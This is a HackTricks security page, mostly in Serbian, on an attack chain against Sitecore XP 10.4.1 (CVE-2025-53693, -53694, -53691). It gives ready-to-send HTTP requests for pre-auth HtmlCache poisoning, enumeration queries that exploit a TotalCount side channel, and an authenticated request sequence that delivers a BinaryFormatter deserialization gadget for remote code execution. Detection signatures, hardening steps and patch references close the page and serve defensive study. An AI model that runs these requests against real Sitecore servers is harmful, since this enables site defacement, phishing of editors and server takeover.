Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ova stranica sažima praktičan attack chain protiv Sitecore XP 10.4.1 koji pivot‑uje od pre‑auth XAML handler do HTML cache poisoning i, putem authenticated UI flow, do RCE kroz BinaryFormatter deserialization. Tehnike su primenljive i na slične Sitecore verzije/komponente i pružaju konkretne primitive za testiranje, detekciju i zaštitu.
- Testirani pogođeni proizvod: Sitecore XP 10.4.1 rev. 011628
- Ispravljeno u: KB1003667, KB1003734 (June/July 2025)
Vidi takođe:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Ulazna tačka je pre‑auth XAML handler registrovan u web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Dostupno putem:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Kontrolno stablo uključuje AjaxScriptManager koji, prilikom zahteva događaja, čita attacker‑controlled fields i reflektivno poziva metode na ciljanim kontrolama:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Ključna zapažanja: XAML stranica uključuje XmlControl instancu (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl nasleđuje Sitecore.Web.UI.WebControl (Sitecore klasa), koja prolazi kroz ReflectionUtil.Filter allow‑list (Sitecore.*), otključavajući metode na Sitecore WebControl.
Magic method for poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Pošto možemo ciljati xmlcontrol:GlobalHeader i pozivati metode Sitecore.Web.UI.WebControl po imenu, dobijamo pre‑auth arbitrary HtmlCache write primitive.
PoC zahtev (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Napomene:
- __SOURCE je clientID xmlcontrol:GlobalHeader unutar Sitecore.Shell.Xaml.WebControl (obično stabilan kao ctl00_ctl00_ctl05_ctl03 jer je izveden iz statičkog XAML-a).
- __PARAMETERS format je Method("arg1","arg2").
What to poison: Cache key construction
Tipična konstrukcija HtmlCache ključa koju koriste Sitecore controls:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Primer targeted poisoning za poznati sublayout:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Enumeracija kešabilnih stavki i “vary by” dimenzija
Ako je ItemService (pogrešno) izložen anonimno, možete enumerisati komponente koje se mogu keširati da biste dobili tačne ključeve.
Brza provera:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Prikaži stavke koje se mogu kesirati i zastavice:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Potražite polja kao što su Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Imena uređaja mogu se izlistati pomoću:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
Čak i kada ItemService preuzima identitet ograničenog naloga (npr. ServicesAPI) i vraća prazan Results niz, TotalCount može i dalje odražavati pre‑ACL Solr hits. Možete brute‑force item groups/ids pomoću wildcards i posmatrati kako se TotalCount konvergira da biste mapirali interni sadržaj i uređaje:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink u convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Dostupno putem pipeline stepa convertToRuntimeHtml ConvertWebControls, koji traži element sa id-jem {iframeId}_inner i base64 dekodira + deserializuje njegov sadržaj, a zatim injektuje dobijeni string u HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Okidač (autentifikovan, Content Editor rights). FixHtml dialog poziva convertToRuntimeHtml. End‑to‑end bez UI klikova:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. Sadržaj stringa se upisuje u HTML od strane ConvertWebControls nakon što se izvrše deserialization side‑effects.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Complete chain
- Pre‑auth napadač zatrova HtmlCache proizvoljnim HTML-om reflektivnim pozivanjem WebControl.AddToCache preko XAML AjaxScriptManager.
- Zatrovani HTML servira JavaScript koji nagovara autentifikovanog Content Editor korisnika da pokrene FixHtml flow.
- FixHtml stranica okida convertToRuntimeHtml → ConvertWebControls, koji deserializuje napadačem kontrolisan base64 preko BinaryFormatter → RCE pod identitetom Sitecore app pool-a.
Detection
- Pre‑auth XAML: zahtevi ka
/-/xaml/Sitecore.Shell.Xaml.WebControl
sa__ISEVENT=1
, sumnjivim__SOURCE
i__PARAMETERS=AddToCache(...)
. - ItemService probing: nagla povećanja wildcard upita ka
/sitecore/api/ssc
, velikiTotalCount
sa praznimResults
. - Deserialization attempts:
EditHtml.aspx
praćenoFixHtml.aspx?hdl=...
i neuobičajeno velikim base64 vrednostima u HTML poljima.
Hardening
- Primeniti Sitecore zakrpe KB1003667 i KB1003734; gate/onemogućiti pre‑auth XAML handlere ili dodati strogu validaciju; nadgledati i rate‑limit-ovati
/-/xaml/
. - Ukloniti/zameniti BinaryFormatter; ograničiti pristup convertToRuntimeHtml ili primeniti strogu serversku validaciju tokova uređivanja HTML-a.
- Zaključati
/sitecore/api/ssc
na loopback ili na autentifikovane role; izbegavati impersonation obrasce koji leak-uju side‑kanale zasnovane naTotalCount
. - Primenjivati MFA i princip najmanjih privilegija za Content Editor korisnike; revidirati CSP kako bi se smanjio uticaj JS steering-a koji proizlazi iz cache poisoning-a.
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.